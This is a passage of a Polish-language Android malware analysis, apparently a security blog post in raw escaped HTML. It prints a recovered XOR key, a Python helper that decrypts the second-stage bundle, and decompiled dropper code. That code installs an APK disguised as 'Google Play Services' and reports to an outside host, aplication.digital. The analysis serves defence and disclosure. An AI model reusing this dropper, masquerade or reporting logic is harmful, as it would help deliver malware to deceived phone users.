class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;bArr&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;Odzyskany klucz hex:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;f324c3e6d1111ae37b1c48b2bf8ae15b4e8f99bf70094421e9555fc56d29f0a8&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Aby zweryfikować ścieżkę rozpakowywania etapu 2 niezależnie od działania aplikacji, przygotowaliśmy również minimalny helper stosujący odzyskany 32-bajtowy klucz XOR do &lt;code&gt;init_bundle_uzge.bin&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;pathlib&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;Path&lt;/span&gt;

&lt;span class="n"&gt;src&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;root&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;apktool&amp;quot;&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;res&amp;quot;&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;raw&amp;quot;&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;init_bundle_uzge.bin&amp;quot;&lt;/span&gt;
&lt;span class="n"&gt;dst&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;root&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;artifacts&amp;quot;&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;init_bundle_uzge.dec&amp;quot;&lt;/span&gt;

&lt;span class="n"&gt;KEY_HEX&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;f324c3e6d1111ae37b1c48b2bf8ae15b4e8f99bf70094421e9555fc56d29f0a8&amp;quot;&lt;/span&gt;
&lt;span class="n"&gt;key&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;bytes&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;fromhex&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;KEY_HEX&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;data&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;src&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;read_bytes&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="n"&gt;out&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;bytes&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;b&lt;/span&gt; &lt;span class="o"&gt;^&lt;/span&gt; &lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="nb"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;)]&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;b&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nb"&gt;enumerate&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="n"&gt;dst&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;write_bytes&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;out&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;Uruchomienie tego helpera daje drugi etap w postaci pliku APK, który można dalej rozpakować i zdekompilować:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;python3 decrypt_bundle.py
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;Odszyfrowany wynik jest następnie zapisywany do sesji &lt;code&gt;PackageInstaller&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt; &lt;span class="n"&gt;bArrP&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;ig&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;p&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;vsVar&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;a&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;ig&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;F&lt;/span&gt;&lt;span class="p"&gt;());&lt;/span&gt;
&lt;span class="n"&gt;Context&lt;/span&gt; &lt;span class="n"&gt;context&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;vsVar&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;a&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="n"&gt;Context&lt;/span&gt; &lt;span class="n"&gt;context2&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;vsVar&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;a&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="n"&gt;PackageInstaller&lt;/span&gt; &lt;span class="n"&gt;packageInstaller&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;context&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getPackageManager&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="na"&gt;getPackageInstaller&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;iCreateSession&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;packageInstaller&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;createSession&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="n"&gt;PackageInstaller&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;SessionParams&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;span class="n"&gt;PackageInstaller&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;Session&lt;/span&gt; &lt;span class="n"&gt;sessionOpenSession&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;packageInstaller&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;openSession&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;iCreateSession&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="n"&gt;String&lt;/span&gt; &lt;span class="n"&gt;strF0a0cac5c_113&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;m0a0cac5c&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;F0a0cac5c_11&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;P&amp;#39;44494C0C5B57515B4A4E525358575458565154681D6458626F5B6F247F8587819889938D9288979595&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="n"&gt;String&lt;/span&gt; &lt;span class="n"&gt;str&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;c&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="n"&gt;OutputStream&lt;/span&gt; &lt;span class="n"&gt;outputStreamOpenWrite&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;sessionOpenSession&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;openWrite&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;m0a0cac5c&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;F0a0cac5c_11&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;A{0B1B1A131E2124&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="n"&gt;L&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;bArrP&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;length&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="n"&gt;outputStreamOpenWrite&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;write&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;bArrP&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="n"&gt;sessionOpenSession&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;fsync&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;outputStreamOpenWrite&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="n"&gt;outputStreamOpenWrite&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;close&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="n"&gt;Intent&lt;/span&gt; &lt;span class="n"&gt;intent&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="n"&gt;Intent&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;context2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Class&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;?&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="n"&gt;AppTaskLoaderdu2&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;class&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="n"&gt;intent&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;setAction&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;strF0a0cac5c_113&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="n"&gt;intent&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;putExtra&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;m0a0cac5c&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;F0a0cac5c_11&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;\\|0C1E211A21201F2A1A261B24&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="n"&gt;str&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="n"&gt;sessionOpenSession&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;commit&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;PendingIntent&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getBroadcast&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;context2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;iCreateSession&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;intent&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;f30&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;s&lt;/span&gt;&lt;span class="p"&gt;()).&lt;/span&gt;&lt;span class="na"&gt;getIntentSender&lt;/span&gt;&lt;span class="p"&gt;());&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;Analiza potwierdziła, że zewnętrzny APK odszyfrowuje i instaluje drugi plik APK:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;pakiet: &lt;code&gt;io.cifnzm.utility67pu&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;etykieta: &lt;code&gt;Google Play Services&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Zewnętrzny etap raportuje również przebieg instalacji na odszyfrowany adres raportujący. W analizowanej próbce adres ten nie jest zapisany w postaci jawnego tekstu. Zostaje zainicjalizowany w &lt;code&gt;ad.a&lt;/code&gt; przez natywny dekoder oparty na JNI, a następnie przekazany przez &lt;code&gt;JuwekinManager89k.report()&lt;/code&gt; jako &lt;code&gt;reportUrl&lt;/code&gt;, które ostatecznie trafia do wywołania &lt;code&gt;new URL(this.reportUrl).openConnection()&lt;/code&gt;. Odszyfrowaną wartością jest &lt;code&gt;https://aplication.digital/receiving/stats/&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;HttpURLConnection&lt;/span&gt; &lt;span class="n"&gt;httpURLConnection2&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;HttpURLConnection&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="n"&gt;URL&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;reportUrl&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="na"&gt;openConnection&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="n"&gt;httpURLConnection2&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;setRequestMethod&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;m0a0cac5c&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;F0a0cac5c_11&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;R[0B150A12&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;span class="n"&gt;httpURLConnection2&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;setDoOutput&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="n"&gt;httpURLConnection2&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;setDoInput&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="n"&gt;httpURLConnection2&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;setUseCaches&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="n"&gt;httpURLConnection2&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;setRequestProperty&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;m0a0cac5c&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;F0a0cac5c_11&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;&amp;lt;g24090B16060E19513B27210D&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="n"&gt;m0a0cac5c&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;F0a0cac5c_11&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;9(49595A4745504F63495050124E68555523195D535D6F7164742E97978A222E&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;span class="n"&gt;httpURLConnection2&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;setRequestProperty&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;m0a0cac5c&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;F0a0cac5c_11&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;aW163536352B28&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="n"&gt;m0a0cac5c&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;F0a0cac5c_11&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;~R332324413F36392D43464688442E4B4B&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;span class="n"&gt;httpURLConnection2&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;setConnectTimeout&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;10000&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="n"&gt;httpURLConnection2&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;setReadTimeout&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;10000&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;String&lt;/span&gt; &lt;span class="n"&gt;strQefh&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;MainContentProcessorjjy&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;qefh&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="mi"&gt;82&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;36&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;90&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;111&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;19&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;77&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;69&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;118&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;17&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;66&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;99&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;32&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;79&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;51&lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="mi"&gt;59&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;73&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;42&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;116&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;35&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;49&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;43&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;97&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;33&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;110&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;127&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;40&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;88&lt;/span&gt;&lt;span class="p"&gt;});&lt;/span&gt;
&lt;span class="n"&gt;String&lt;/span&gt; &lt;span class="n"&gt;str&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;zc&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;a&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="n"&gt;jSONObject&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;put&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;strQefh&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;zc&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;a&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="n"&gt;jSONObject&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;put&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;MainContentProcessorjjy&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;qefh&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;121&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;17&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;82&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;113&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;109&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;124&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;41&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;104&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;75&lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="mi"&gt;117&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;15&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;116&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;60&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;52&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;82&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;24&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;46&lt;/span&gt;&lt;span class="p"&gt;}),&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;eventType&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
